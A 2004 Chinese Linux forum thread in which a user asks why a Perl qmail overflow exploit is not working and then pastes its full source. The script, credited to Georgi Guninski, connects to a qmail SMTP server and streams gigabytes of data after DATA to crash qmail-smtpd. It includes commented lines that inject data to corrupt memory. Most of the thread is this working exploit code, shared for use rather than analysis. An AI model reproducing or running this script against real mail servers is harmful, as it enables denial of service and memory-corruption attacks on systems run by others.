LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 799|回复: 2

qmail的益处代码有人用过了吗

[复制链接]
发表于 2004-2-17 13:52:20 | 显示全部楼层 |阅读模式
perl写的,我怎么都走了1500多了还不行。要走多少几?

另外顺便问一个问题,有些安全警告写收影响系统是比如说RH 7。0、8。0
但是9.0也用的同一版本的软件是不是意味着9.0的软件虽然是一个版本,但是已经是修正过了。
是否这样的意思?
发表于 2004-2-18 10:09:25 | 显示全部楼层
哪一个,帖一下好吗?
 楼主| 发表于 2004-2-18 13:23:22 | 显示全部楼层

  1. ---qma4.pl----
  2. #!/usr/bin/perl -w

  3. #Copyright Georgi Guninski\nCannot be used in vulnerability databases and
  4. #similar stuff

  5. use IO::Socket;

  6. my $port = $ARGV[1];
  7. my $host = $ARGV[0];

  8. my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || die "socket";

  9. my $req = "HELO a\r\n";
  10. my $fromaddr="they\@sux.org";
  11. my $touser="postmaster";

  12. print "qmail-smtpd SEGV. Copyright Georgi Guninski\nCannot be used in vulnerability databases and similar stuff\nWill connect to ${host}:${port} fromaddr=${fromaddr} touser=${touser}\n";

  13. $req .= "MAIL FROM: ${fromaddr}\r\n";
  14. $req .= "RCPT TO: ${touser}\r\n";

  15. $req .= "DATA\r\n";

  16. $req .= "1234567890";

  17. #my $x = "\ng" x 100;
  18. #print $x;

  19. syswrite($socket,$req,length($req));

  20. my $l1= 1024*1024;
  21. my $p1 = "gg" x $l1;
  22. my $pl = 2*$l1;
  23. print "length=${pl}\n";
  24. my $towrite = $l1*2050;
  25. my $wri = 0;
  26. $req = $p1;
  27. while ($wri < $towrite)
  28. {
  29. syswrite($socket,$req,$pl);
  30. if ( ($wri % $l1) == 0) {print "written=" . $wri/$l1 . "\n";}
  31. # !!! uncomment the following lines to get qmail memory screw on linux according to gdb
  32. #if ($wri/$l1 == 2044)
  33. #{
  34. #syswrite($socket,"g\r\n",3);print "injected\n";
  35. #};
  36. $wri += $pl;
  37. }

  38. $req = "test\r\n";
  39. $req .= ".\r\n";

  40. syswrite($socket,$req,length($req));

  41. while(< $socket>)
  42. {
  43. print $_;
  44. }

  45. close $socket;
复制代码
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表